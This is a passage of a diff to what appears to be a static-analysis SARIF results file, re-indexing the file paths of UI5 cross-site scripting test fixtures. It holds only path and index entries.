+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/AllJourneys.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 172
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/FilterJourney.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 173
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/model/todoitems.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/SearchJourney.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 174
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/AllJourneys.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/TodoListJourney.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 175
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/FilterJourney.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/arrangements/Startup.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 176
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/SearchJourney.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 177
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/TodoListJourney.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 178
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/arrangements/Startup.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/pages/App.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 179
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 180
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 181
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/pages/App.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/AllTests.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 182
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/controller/App.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 183
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 184
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/AllTests.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 185
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/controller/App.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/util/Helper.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 186
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/view/App.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 187
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 188
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/util/Helper.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 189
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/view/App.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 190
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 191
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 192
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 193
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 194
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 195
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 196
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 197
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 198
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 199
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 200
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 201
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 202
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 203
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 204
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 205
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 206
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 207
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 208
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 209
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 210
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 211
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 212
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 213
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 214
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 215
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 216
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 217
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 218
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 219
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 220
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 221
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 222
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 223
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 224
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 225
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 226
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 227
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 228
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 229
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 230
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 231
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 232
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 233
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 234
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 235
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 236
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 237
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 238
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 239
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 240
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 241
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 242
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 243
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 244
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 245
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 246
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 247
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 248
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 249
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 250
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 251
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 252
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 253
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 254
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 255
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 256
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 257
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 258
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 259
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 260
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 261
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 262
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 263
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 264
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 265
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 266
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 267
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 268
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/model.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 269
       }
     }, {
       "location" : {
